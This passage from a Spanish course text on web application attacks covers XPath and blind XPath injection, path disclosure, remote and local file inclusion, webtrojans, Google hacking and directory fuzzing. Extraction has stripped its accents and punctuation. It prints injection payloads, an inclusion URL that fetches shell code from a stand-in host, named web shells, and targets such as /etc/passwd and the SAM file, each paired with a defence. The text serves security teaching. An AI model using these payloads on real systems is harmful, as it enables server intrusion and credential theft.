de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
